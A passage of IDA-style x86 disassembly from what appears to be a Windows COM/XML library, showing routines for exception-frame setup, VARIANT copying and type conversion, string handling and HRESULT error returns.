mov eax, [esi+2Ch]
test eax, eax
mov [ebp+var_8], eax
jz short loc_69B4759F
mov ebx, [esi+28h]
xor eax, eax
push 0
lea edi, [ebp+var_10]
stosd
push 0
stosd
push [ebp+var_C]
mov eax, [ebx]
push [ebp+var_10]
push ebx
call dword ptr [eax+14h]
mov eax, [ebp+var_8]
mov ecx, [eax]
push ebx
push eax
call dword ptr [ecx+14h]
test eax, eax
jge short loc_69B4759F
push 0
push eax
call sub_69B1D342
mov [ebp+var_4], eax
loc_69B4759F: ; CODE XREF: sub_69B47486+C1j
; sub_69B47486+D1j ...
mov ecx, esi
call sub_69B46D44
mov ecx, [ebp+var_4]
test ecx, ecx
jz short loc_69B475B2
call sub_69B2E875
loc_69B475B2: ; CODE XREF: sub_69B47486+21j
; sub_69B47486+31j ...
pop edi
pop esi
pop ebx
leave
retn
sub_69B47486 endp
; =============== S U B R O U T I N E =======================================
sub_69B475B7 proc near ; DATA XREF: .text:69B126C4o
push 48h
push offset dword_69B47780
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor esi, esi
cmp eax, esi
jnz short loc_69B475DC
mov eax, 80004005h
jmp loc_69B47771
; ---------------------------------------------------------------------------
loc_69B475DC: ; CODE XREF: sub_69B475B7+19j
push esi
lea ecx, [ebp-28h]
call sub_69B11D3B
xor ebx, ebx
mov byte ptr [ebp-29h], 1
mov [ebp-4], esi
lea eax, [ebp+0Ch]
push eax
call sub_69B885FF
mov [ebp-30h], eax
cmp ax, 0Dh
jz short loc_69B47611
cmp ax, 9
jz short loc_69B47611
cmp ax, 1
jz short loc_69B47611
cmp ax, si
jnz short loc_69B47635
loc_69B47611: ; CODE XREF: sub_69B475B7+47j
; sub_69B475B7+4Dj ...
push esi
lea eax, [ebp+0Ch]
push eax
call sub_69B88597
mov [ebp-34h], eax
cmp eax, esi
jz short loc_69B47631
push eax
call sub_69B48A77
mov ebx, eax
mov [ebp-38h], ebx
cmp ebx, esi
jz short loc_69B47635
loc_69B47631: ; CODE XREF: sub_69B475B7+69j
mov byte ptr [ebp-29h], 0
loc_69B47635: ; CODE XREF: sub_69B475B7+58j
; sub_69B475B7+78j
cmp byte ptr [ebp-29h], 0
jz loc_69B476E3
call sub_69B1BCCF
mov ebx, eax
mov [ebp-3Ch], ebx
mov eax, [ebp+8]
mov eax, [eax+1Ch]
mov [ebp-40h], eax
mov ecx, ebx
lea edx, [ebx+0Ch]
neg ecx
sbb ecx, ecx
and ecx, edx
push ecx
lea ecx, [eax+1Ch]
call sub_69B89804
push 1
mov ecx, ebx
call sub_69B1D6A4
mov byte ptr [ebx+82h], 0
mov byte ptr [ebx+8Ch], 0
mov byte ptr [ebx+83h], 0
mov eax, [ebx]
lea ecx, [ebp-44h]
push ecx
push offset stru_69B25E34
push ebx
call dword ptr [eax]
push eax
call sub_69B8861E
mov eax, [ebp-44h]
mov ecx, [eax]
lea edx, [ebp-48h]
push edx
sub esp, 10h
lea esi, [ebp+0Ch]
mov edi, esp
movsd
movsd
movsd
movsd
push eax
call dword ptr [ecx+0E8h]
mov [ebp-4Ch], eax
mov eax, [ebp-44h]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
mov eax, [ebx+6Ch]
mov [ebp-50h], eax
mov [ebp-54h], eax
test eax, eax
jz short loc_69B476D2
call sub_69B2E860
loc_69B476D2: ; CODE XREF: sub_69B475B7+114j
push dword ptr [ebp-4Ch]
call sub_69B8861E
mov ebx, [ebx+4Ch]
mov [ebp-58h], ebx
mov [ebp-38h], ebx
loc_69B476E3: ; CODE XREF: sub_69B475B7+82j
test ebx, ebx
jz short loc_69B476F3
mov esi, [ebp+8]
mov ecx, esi
call sub_69B473F6
jmp short loc_69B476FE
; ---------------------------------------------------------------------------
loc_69B476F3: ; CODE XREF: sub_69B475B7+12Ej
mov ecx, [ebp+8]
call sub_69B47427
mov esi, [ebp+8]
loc_69B476FE: ; CODE XREF: sub_69B475B7+13Aj
mov ecx, esi
call sub_69B46A13
lea eax, [ebp+0Ch]
push eax ; pvargSrc
lea eax, [esi+40h]
push eax ; pvargDest
call VariantCopy
mov [ebp-4Ch], eax
test eax, eax
jge short loc_69B47729
mov ecx, esi
call sub_69B47427
push dword ptr [ebp-4Ch]
call sub_69B8861E
loc_69B47729: ; CODE XREF: sub_69B475B7+161j
push ebx
lea ecx, [esi+38h]
call sub_69B199CC
and dword ptr [ebp-4Ch], 0
jmp short loc_69B47759
; ---------------------------------------------------------------------------
loc_69B47738: ; DATA XREF: .text:69B47784o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B47741: ; DATA XREF: .text:69B47788o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-4Ch], eax
loc_69B47759: ; CODE XREF: sub_69B475B7+17Fj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-4Ch]
loc_69B47771: ; CODE XREF: sub_69B475B7+20j
call sub_69B1853C
retn 14h
sub_69B475B7 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B47780 dd 0FFFFFFFFh dd offset loc_69B47738
dd offset loc_69B47741
; =============== S U B R O U T I N E =======================================
sub_69B4778C proc near ; DATA XREF: .text:69B126D0o
push 28h
push offset dword_69B47890
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B477B1
mov eax, 80004005h
jmp loc_69B47885
; ---------------------------------------------------------------------------
loc_69B477B1: ; CODE XREF: sub_69B4778C+19j
push edi
lea ecx, [ebp-28h]
call sub_69B11D3B
mov [ebp-4], edi
mov ebx, [ebp+8]
mov ecx, ebx
call sub_69B4745C
mov eax, [ebp+10h]
cmp eax, edi
jz short loc_69B477DB
cmp [eax], di
jz short loc_69B477DB
push eax ; lpString
call sub_69B2FADA
jmp short loc_69B477DD
; ---------------------------------------------------------------------------
loc_69B477DB: ; CODE XREF: sub_69B4778C+40j
; sub_69B4778C+45j
xor eax, eax
loc_69B477DD: ; CODE XREF: sub_69B4778C+4Dj
mov [ebp-2Ch], eax
mov esi, [ebp+0Ch]
cmp esi, edi
jz short loc_69B4782E
cmp [esi], di
jz short loc_69B4782E
lea eax, [ebp-30h]
push eax
push esi
call sub_69B31F88
test al, al
jz short loc_69B477FF
cmp [ebp-30h], edi
jz short loc_69B47812
loc_69B477FF: ; CODE XREF: sub_69B4778C+6Cj
push edi
push 0C00CE505h
push 80070057h
call sub_69B2E9D0
add esp, 0Ch
loc_69B47812: ; CODE XREF: sub_69B4778C+71j
push dword ptr [ebp-2Ch]
push esi ; lpString
call ds:lstrlenW ; lstrlenW
push eax
push esi
call sub_69B2FA09
push eax
lea ecx, [ebx+50h]
call sub_69B199CC
jmp short loc_69B47849
; ---------------------------------------------------------------------------
loc_69B4782E: ; CODE XREF: sub_69B4778C+59j
; sub_69B4778C+5Ej
cmp eax, edi
jz short loc_69B4783C
push 80070057h
call sub_69B2E8B8
loc_69B4783C: ; CODE XREF: sub_69B4778C+A4j
lea eax, [ebx+50h]
mov [ebp-34h], eax
push edi
push eax
call sub_69B17320
loc_69B47849: ; CODE XREF: sub_69B4778C+A0j
mov [ebp-38h], edi
jmp short loc_69B4786E
; ---------------------------------------------------------------------------
loc_69B4784E: ; DATA XREF: .text:69B47894o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B47857: ; DATA XREF: .text:69B47898o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B4786E: ; CODE XREF: sub_69B4778C+C0j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B47885: ; CODE XREF: sub_69B4778C+20j
call sub_69B1853C
retn 0Ch
sub_69B4778C endp
; ---------------------------------------------------------------------------
align 10h
dword_69B47890 dd 0FFFFFFFFh dd offset loc_69B4784E
dd offset loc_69B47857
; =============== S U B R O U T I N E =======================================
sub_69B4789C proc near ; DATA XREF: .text:69B126DCo
push 20h
push offset dword_69B47930
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor esi, esi
cmp eax, esi
jnz short loc_69B478BE
mov eax, 80004005h
jmp short loc_69B47927
; ---------------------------------------------------------------------------
loc_69B478BE: ; CODE XREF: sub_69B4789C+19j
push esi
lea ecx, [ebp-28h]
call sub_69B11D3B
mov [ebp-4], esi
mov ecx, [ebp+8]
call sub_69B4745C
push 1
lea eax, [ebp+0Ch]
push eax
call sub_69B88597
mov [ebp-2Ch], eax
push eax
mov ecx, [ebp+8]
call sub_69B46AC0
mov [ebp-30h], esi
jmp short loc_69B4790F
; ---------------------------------------------------------------------------
loc_69B478EE: ; DATA XREF: .text:69B47934o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B478F7: ; DATA XREF: .text:69B47938o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-30h], eax
loc_69B4790F: ; CODE XREF: sub_69B4789C+50j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-30h]
loc_69B47927: ; CODE XREF: sub_69B4789C+20j
call sub_69B1853C
retn 14h
sub_69B4789C endp
; ---------------------------------------------------------------------------
align 10h
dword_69B47930 dd 0FFFFFFFFh dd offset loc_69B478EE
dd offset loc_69B478F7
; =============== S U B R O U T I N E =======================================
sub_69B4793C proc near ; DATA XREF: .text:69B126E4o
push 18h
push offset dword_69B479F8
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B47961
mov eax, 80004005h
jmp loc_69B479F0
; ---------------------------------------------------------------------------
loc_69B47961: ; CODE XREF: sub_69B4793C+19j
push edi
lea ecx, [ebp-28h]
call sub_69B11D3B
cmp [ebp+0Ch], edi
jnz short loc_69B47987
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, 80070057h
jmp short loc_69B479F0
; ---------------------------------------------------------------------------
loc_69B47987: ; CODE XREF: sub_69B4793C+31j
mov esi, [ebp+8]
mov eax, [esi]
push esi
call dword ptr [eax+4]
mov [ebp-4], edi
mov ecx, esi
call sub_69B47486
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B479C7
; ---------------------------------------------------------------------------
loc_69B479A0: ; DATA XREF: .text:69B479FCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B479A9: ; DATA XREF: .text:69B47A00o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
or dword ptr [ebp-4], 0FFFFFFFFh
mov esi, [ebp+8]
loc_69B479C7: ; CODE XREF: sub_69B4793C+62j
xor eax, eax
cmp dword ptr [esi+58h], 5
setnz al
dec eax
mov ecx, [ebp+0Ch]
mov [ecx], ax
mov eax, [esi]
push esi
call dword ptr [eax+8]
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B479F0: ; CODE XREF: sub_69B4793C+20j
; sub_69B4793C+49j
call sub_69B1853C
retn 8
sub_69B4793C endp
; ---------------------------------------------------------------------------
dword_69B479F8 dd 0FFFFFFFFh dd offset loc_69B479A0
dd offset loc_69B479A9
; =============== S U B R O U T I N E =======================================
sub_69B47A04 proc near ; DATA XREF: .text:69B126F0o
push 28h
push offset dword_69B47AE0
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B47A29
mov eax, 80004005h
jmp loc_69B47AD2
; ---------------------------------------------------------------------------
loc_69B47A29: ; CODE XREF: sub_69B47A04+19j
push edi
lea ecx, [ebp-28h]
call sub_69B11D3B
mov [ebp-4], edi
mov esi, [ebp+8]
mov ecx, esi
call sub_69B4745C
lea eax, [ebp-2Ch]
push eax
push dword ptr [ebp+0Ch]
call sub_69B31F88
test al, al
jz short loc_69B47A54
cmp [ebp-2Ch], edi
jz short loc_69B47A67
loc_69B47A54: ; CODE XREF: sub_69B47A04+49j
push edi
push 0C00CE505h
push 80070057h
call sub_69B2E9D0
add esp, 0Ch
loc_69B47A67: ; CODE XREF: sub_69B47A04+4Ej
add esi, 54h
mov eax, [esi]
mov [ebp-30h], eax
cmp eax, edi
jnz short loc_69B47A80
call sub_69B4700D
push eax
mov ecx, esi
call sub_69B199CC
loc_69B47A80: ; CODE XREF: sub_69B47A04+6Dj
mov ecx, [esi]
mov [ebp-34h], ecx
push dword ptr [ebp+20h] ; int
lea eax, [ebp+10h]
push eax ; int
push dword ptr [ebp+0Ch] ; lpString
call sub_69B47043
mov [ebp-38h], edi
jmp short loc_69B47ABA
; ---------------------------------------------------------------------------
loc_69B47A99: ; DATA XREF: .text:69B47AE4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B47AA2: ; DATA XREF: .text:69B47AE8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-38h], eax
loc_69B47ABA: ; CODE XREF: sub_69B47A04+93j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-38h]
loc_69B47AD2: ; CODE XREF: sub_69B47A04+20j
call sub_69B1853C
retn 1Ch
sub_69B47A04 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B47AE0 dd 0FFFFFFFFh dd offset loc_69B47A99
dd offset loc_69B47AA2
; =============== S U B R O U T I N E =======================================
sub_69B47AEC proc near ; DATA XREF: .text:69B126F4o
push 24h
push offset dword_69B47BD0
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B47B11
mov eax, 80004005h
jmp loc_69B47BC2
; ---------------------------------------------------------------------------
loc_69B47B11: ; CODE XREF: sub_69B47AEC+19j
push ebx
lea ecx, [ebp-28h]
call sub_69B11D3B
cmp [ebp+0Ch], ebx
jnz short loc_69B47B3A
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, 80070057h
jmp loc_69B47BC2
; ---------------------------------------------------------------------------
loc_69B47B3A: ; CODE XREF: sub_69B47AEC+31j
mov [ebp-4], ebx
mov esi, [ebp+8]
mov ecx, esi
call sub_69B4745C
add esi, 54h
mov eax, [esi]
mov [ebp-2Ch], eax
cmp eax, ebx
jnz short loc_69B47B60
call sub_69B4700D
push eax
mov ecx, esi
call sub_69B199CC
loc_69B47B60: ; CODE XREF: sub_69B47AEC+65j
mov edi, [ebp+10h]
cmp edi, ebx
jz short loc_69B47B6C
cmp [edi], bx
jnz short loc_69B47B76
loc_69B47B6C: ; CODE XREF: sub_69B47AEC+79j
push 80070057h
call sub_69B2E8B8
loc_69B47B76: ; CODE XREF: sub_69B47AEC+7Ej
mov ecx, [esi]
mov [ebp-30h], ecx
push edi ; lpString
push dword ptr [ebp+0Ch] ; int
call sub_69B4707B
mov [ebp-34h], ebx
jmp short loc_69B47BAA
; ---------------------------------------------------------------------------
loc_69B47B89: ; DATA XREF: .text:69B47BD4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B47B92: ; DATA XREF: .text:69B47BD8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-34h], eax
loc_69B47BAA: ; CODE XREF: sub_69B47AEC+9Bj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-34h]
loc_69B47BC2: ; CODE XREF: sub_69B47AEC+20j
; sub_69B47AEC+49j
call sub_69B1853C
retn 0Ch
sub_69B47AEC endp
; ---------------------------------------------------------------------------
align 10h
dword_69B47BD0 dd 0FFFFFFFFh dd offset loc_69B47B89
dd offset loc_69B47B92
; =============== S U B R O U T I N E =======================================
sub_69B47BDC proc near ; CODE XREF: sub_69B3B684+AEp
; sub_69B3B8CA+85p
push 38h
push offset dword_69B47C90
call sub_69B19C5C
xor esi, esi
mov [ebp-1Ch], esi
push esi
lea ecx, [ebp-28h]
call sub_69B11D3B
push 1
lea ecx, [ebp-44h]
call sub_69B2DC5B
mov [ebp-4], esi
push 60h
call sub_69B1D897
mov ecx, eax
mov [ebp-48h], ecx
cmp ecx, esi
jz short loc_69B47C1A
call sub_69B47360
jmp short loc_69B47C1C
; ---------------------------------------------------------------------------
loc_69B47C1A: ; CODE XREF: sub_69B47BDC+35j
xor eax, eax
loc_69B47C1C: ; CODE XREF: sub_69B47BDC+3Cj
mov esi, eax
mov [ebp-1Ch], esi
push dword ptr [ebp+0Ch]
mov ecx, esi
call sub_69B473A7
push dword ptr [ebp+8]
mov ecx, esi
call sub_69B46A32
jmp short loc_69B47C70
; ---------------------------------------------------------------------------
loc_69B47C37: ; DATA XREF: .text:69B47C94o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B47C40: ; DATA XREF: .text:69B47C98o
mov esp, [ebp-18h]
mov esi, [ebp-1Ch]
test esi, esi
jz short loc_69B47C53
lea ecx, [esi+0Ch]
mov eax, [ecx]
push 1
call dword ptr [eax]
loc_69B47C53: ; CODE XREF: sub_69B47BDC+6Cj
lea ecx, [ebp-28h]
call sub_69B2D599
lea ecx, [ebp-44h]
call sub_69B2DA65
lea ecx, [ebp-44h]
call sub_69B2D6DB
call sub_69B2E860
loc_69B47C70: ; CODE XREF: sub_69B47BDC+59j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-44h]
call sub_69B2DBD4
lea ecx, [ebp-28h]
call sub_69B1976C
mov eax, esi
call sub_69B1853C
retn 8
sub_69B47BDC endp
; ---------------------------------------------------------------------------
align 10h
dword_69B47C90 dd 0FFFFFFFFh dd offset loc_69B47C37
dd offset loc_69B47C40
; =============== S U B R O U T I N E =======================================
sub_69B47C9C proc near ; CODE XREF: sub_69B4B3ED+351p
; sub_69B4BD17+296p ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
push 0
push esi
push 0Ch
mov edi, ecx
call sub_69B8AB3E
test eax, eax
jz short loc_69B47CC7
mov ecx, [eax+8]
lea edx, [ecx+1]
xor edx, ecx
and edx, 7FFFFFFFh
xor edx, ecx
mov [eax+8], edx
jmp short loc_69B47CE7
; ---------------------------------------------------------------------------
loc_69B47CC7: ; CODE XREF: sub_69B47C9C+14j
push esi
push 0Ch
mov ecx, edi
call sub_69B8AE52
mov edi, eax
mov eax, [esi]
push esi
call dword ptr [eax+4]
mov eax, [edi+8]
and eax, 80000001h
or eax, 1
mov [edi+8], eax
loc_69B47CE7: ; CODE XREF: sub_69B47C9C+29j
pop edi
pop esi
retn 4
sub_69B47C9C endp
; ---------------------------------------------------------------------------
jmp sub_69B2E3BD
; =============== S U B R O U T I N E =======================================
sub_69B47CF1 proc near ; CODE XREF: sub_69B481AF+9p
; sub_69B4D8E4+33p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jl short loc_69B47D07
cmp eax, 12h
jg short loc_69B47D07
mov eax, lpMultiByteStr[eax*4]
jmp short loc_69B47D0C
; ---------------------------------------------------------------------------
loc_69B47D07: ; CODE XREF: sub_69B47CF1+6j
; sub_69B47CF1+Bj
mov eax, offset dword_69B47D18
loc_69B47D0C: ; CODE XREF: sub_69B47CF1+14j
push eax ; lpMultiByteStr
call sub_69B1D494
retn 4
sub_69B47CF1 endp
; ---------------------------------------------------------------------------
align 4
dword_69B47D18 dd 4B4E555Bh, 4E574F4Eh db 5Dh, 0
; =============== S U B R O U T I N E =======================================
sub_69B47D22 proc near ; CODE XREF: sub_69B49F3F+D7p
; sub_69B555EC+13p ...
push esi
push 0
push 0
mov esi, ecx
call sub_69B1D263
push 0FFFFFh
push 9001Fh
mov [esi], eax
call sub_69B1D263
add esp, 10h
mov eax, esi
pop esi
retn
sub_69B47D22 endp
; =============== S U B R O U T I N E =======================================
sub_69B47D46 proc near ; CODE XREF: sub_69B49F3F+E8p
; sub_69B555EC+38p ...
push esi
mov esi, ecx
call sub_69B84BBD
push 0FFFFFh
push dword ptr [esi]
call sub_69B1D263
pop ecx
pop ecx
pop esi
retn
sub_69B47D46 endp
; =============== S U B R O U T I N E =======================================
sub_69B47D5E proc near ; CODE XREF: sub_69B41BEC+7Dp
; sub_69B41D7C+6Cp ...
arg_0 = dword ptr 4
push offset dword_69B281F0
push [esp+4+arg_0]
call sub_69B2F4B8
retn 4
sub_69B47D5E endp
; =============== S U B R O U T I N E =======================================
sub_69B47D6F proc near ; CODE XREF: sub_69B3C634+11Fp
; sub_69B41BEC+72p
arg_0 = dword ptr 4
push esi
push edi
push 1
push [esp+0Ch+arg_0]
call sub_69B88597
mov esi, eax
push esi
call sub_69B47D5E
test esi, esi
mov edi, eax
jz short loc_69B47D98
test edi, edi
jnz short loc_69B47D98
push 80070057h
call sub_69B2E8B8
loc_69B47D98: ; CODE XREF: sub_69B47D6F+19j
; sub_69B47D6F+1Dj
mov eax, edi
pop edi
pop esi
retn 4
sub_69B47D6F endp
; =============== S U B R O U T I N E =======================================
sub_69B47D9F proc near ; CODE XREF: sub_69B47DCC+23p
; sub_69B486B5+4p ...
arg_0 = dword ptr 4
mov eax, [ecx]
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, [edi]
call dword ptr [eax+108h]
cmp esi, eax
jnz short loc_69B47DB7
xor eax, eax
jmp short loc_69B47DC7
; ---------------------------------------------------------------------------
loc_69B47DB7: ; CODE XREF: sub_69B47D9F+12j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+100h]
test eax, eax
jz short loc_69B47DC7
mov [edi], eax
loc_69B47DC7: ; CODE XREF: sub_69B47D9F+16j
; sub_69B47D9F+24j
pop edi
pop esi
retn 4
sub_69B47D9F endp
; =============== S U B R O U T I N E =======================================
sub_69B47DCC proc near ; CODE XREF: sub_69B173D1+252p
; sub_69B173D1+43Dp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi]
test eax, eax
push edi
mov edi, ecx
jz short loc_69B47DF4
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+0F4h]
cmp eax, edi
jz short loc_69B47DEC
xor eax, eax
jmp short loc_69B47DF4
; ---------------------------------------------------------------------------
loc_69B47DEC: ; CODE XREF: sub_69B47DCC+1Aj
push esi
mov ecx, edi
call sub_69B47D9F
loc_69B47DF4: ; CODE XREF: sub_69B47DCC+Cj
; sub_69B47DCC+1Ej
pop edi
pop esi
retn 4
sub_69B47DCC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B47DF9(int, VARIANTARG *pvargDest)
sub_69B47DF9 proc near ; CODE XREF: sub_69B48867+12p
pvarg = VARIANTARG ptr -10h
arg_0 = dword ptr 8
pvargDest = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ecx]
push ebx
push edi
mov edi, [ebp+pvargDest]
push edi
call dword ptr [eax+124h]
push [ebp+arg_0]
call sub_69B2FB83
mov ebx, eax
cmp bx, [edi]
jz short loc_69B47E66
lea eax, [ebp+pvarg]
push eax ; pvarg
call VariantInit
push edi ; pvargSrc
lea eax, [ebp+pvarg]
push eax ; pvargDest
call VariantCopy
test eax, eax
jz short loc_69B47E3B
push eax
call sub_69B2E8B8
loc_69B47E3B: ; CODE XREF: sub_69B47DF9+3Aj
push esi
mov esi, VariantClear
push edi ; pvarg
call esi ; VariantClear
push ebx ; vt
push 1 ; wFlags
push 409h ; lcid
lea eax, [ebp+pvarg]
push eax ; pvarSrc
push edi ; pvargDest
call VariantChangeTypeEx
test eax, eax
jge short loc_69B47E5F
push edi ; pvarg
call esi ; VariantClear
loc_69B47E5F: ; CODE XREF: sub_69B47DF9+61j
lea eax, [ebp+pvarg]
push eax ; pvarg
call esi ; VariantClear
pop esi
loc_69B47E66: ; CODE XREF: sub_69B47DF9+21j
pop edi
pop ebx
leave
retn 8
sub_69B47DF9 endp
; =============== S U B R O U T I N E =======================================
sub_69B47E6C proc near ; CODE XREF: sub_69B14EAC+12Dp
; sub_69B4858B+77p ...
arg_0 = dword ptr 4
push [esp+arg_0]
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call sub_69B48F40
retn 4
sub_69B47E6C endp
; =============== S U B R O U T I N E =======================================
sub_69B47E7F proc near ; CODE XREF: sub_69B4A76D+11Ep
; sub_69B4AAFC+10Fp ...
mov edx, [ecx+8]
mov eax, 0C0000h
and edx, eax
cmp edx, eax
mov eax, [ecx]
jz short loc_69B47E97
call dword ptr [eax+110h]
jmp short loc_69B47EAC
; ---------------------------------------------------------------------------
loc_69B47E97: ; CODE XREF: sub_69B47E7F+Ej
call dword ptr [eax+11Ch]
test eax, eax
jz short loc_69B47EAA
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+2Ch]
jmp short loc_69B47EAC
; ---------------------------------------------------------------------------
loc_69B47EAA: ; CODE XREF: sub_69B47E7F+20j
xor eax, eax
loc_69B47EAC: ; CODE XREF: sub_69B47E7F+16j
; sub_69B47E7F+29j
test eax, eax
jnz short locret_69B47EB5
mov eax, offset off_69B1A5AC
locret_69B47EB5: ; CODE XREF: sub_69B47E7F+2Fj
retn
sub_69B47E7F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B47EB6 proc near ; CODE XREF: sub_69B4EBD9+101p
; sub_69B4F0B4+15Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ecx]
push ebx
push esi
push edi
mov [ebp+var_4], ecx
call dword ptr [eax+110h]
mov esi, eax
test esi, esi
jz short loc_69B47ED3
mov ebx, [esi+8]
jmp short loc_69B47ED5
; ---------------------------------------------------------------------------
loc_69B47ED3: ; CODE XREF: sub_69B47EB6+16j
xor ebx, ebx
loc_69B47ED5: ; CODE XREF: sub_69B47EB6+1Bj
mov eax, [ebp+arg_4]
add eax, ebx
push eax
push 0
call sub_69B190D7
test ebx, ebx
jz short loc_69B47EF1
mov esi, [esi+0Ch]
mov edi, [eax+0Ch]
mov ecx, ebx
rep movsw
loc_69B47EF1: ; CODE XREF: sub_69B47EB6+2Ej
mov edx, [eax+0Ch]
mov ecx, [ebp+arg_4]
mov esi, [ebp+arg_0]
lea edi, [edx+ebx*2]
rep movsw
mov ecx, [ebp+var_4]
mov edx, [ecx]
push eax
call dword ptr [edx+114h]
pop edi
pop esi
pop ebx
leave
retn 8
sub_69B47EB6 endp
; =============== S U B R O U T I N E =======================================
sub_69B47F13 proc near ; CODE XREF: sub_69B173D1+387p
; sub_69B173D1+3B8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push 20h
mov ecx, esi
call sub_69B8A903
push [esp+4+arg_4]
mov ecx, esi
call sub_69B8A970
push 3Dh
mov ecx, esi
call sub_69B8A903
push 22h
mov ecx, esi
call sub_69B8A903
push [esp+4+arg_8]
mov ecx, esi
call sub_69B8A970
push 22h
mov ecx, esi
call sub_69B8A903
pop esi
retn 0Ch
sub_69B47F13 endp
; =============== S U B R O U T I N E =======================================
sub_69B47F56 proc near ; DATA XREF: .text:69B1DD04o
mov eax, offset off_69B28200
retn
sub_69B47F56 endp
; =============== S U B R O U T I N E =======================================
sub_69B47F5C proc near ; DATA XREF: .text:69B152FCo
; .text:69B1DD4Co
mov eax, [ecx]
push esi
jmp short loc_69B47F71
; ---------------------------------------------------------------------------
loc_69B47F61: ; CODE XREF: sub_69B47F5C+1Fj
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
cmp eax, 0Bh
jnz short loc_69B47F7D
mov eax, [esi]
mov ecx, esi
loc_69B47F71: ; CODE XREF: sub_69B47F5C+3j
call dword ptr [eax+0F4h]
mov esi, eax
test esi, esi
jnz short loc_69B47F61
loc_69B47F7D: ; CODE XREF: sub_69B47F5C+Fj
mov eax, esi
pop esi
retn
sub_69B47F5C endp
; =============== S U B R O U T I N E =======================================
sub_69B47F81 proc near ; DATA XREF: .text:69B152DCo
; .text:69B1DD2Co
xor eax, eax
mov al, [ecx+0Bh]
and eax, 1Fh
mov eax, dword_69B99348[eax*4]
retn
sub_69B47F81 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B47F91 proc near ; DATA XREF: .text:69B15310o
; .text:69B1DD60o
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
mov eax, [esi]
call dword ptr [eax+74h]
test al, al
jz short loc_69B47FEA
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+118h]
test al, al
jnz short loc_69B47FEA
mov eax, [esi]
lea ecx, [ebp+var_4]
push ecx
mov ecx, esi
call dword ptr [eax+68h]
jmp short loc_69B47FE6
; ---------------------------------------------------------------------------
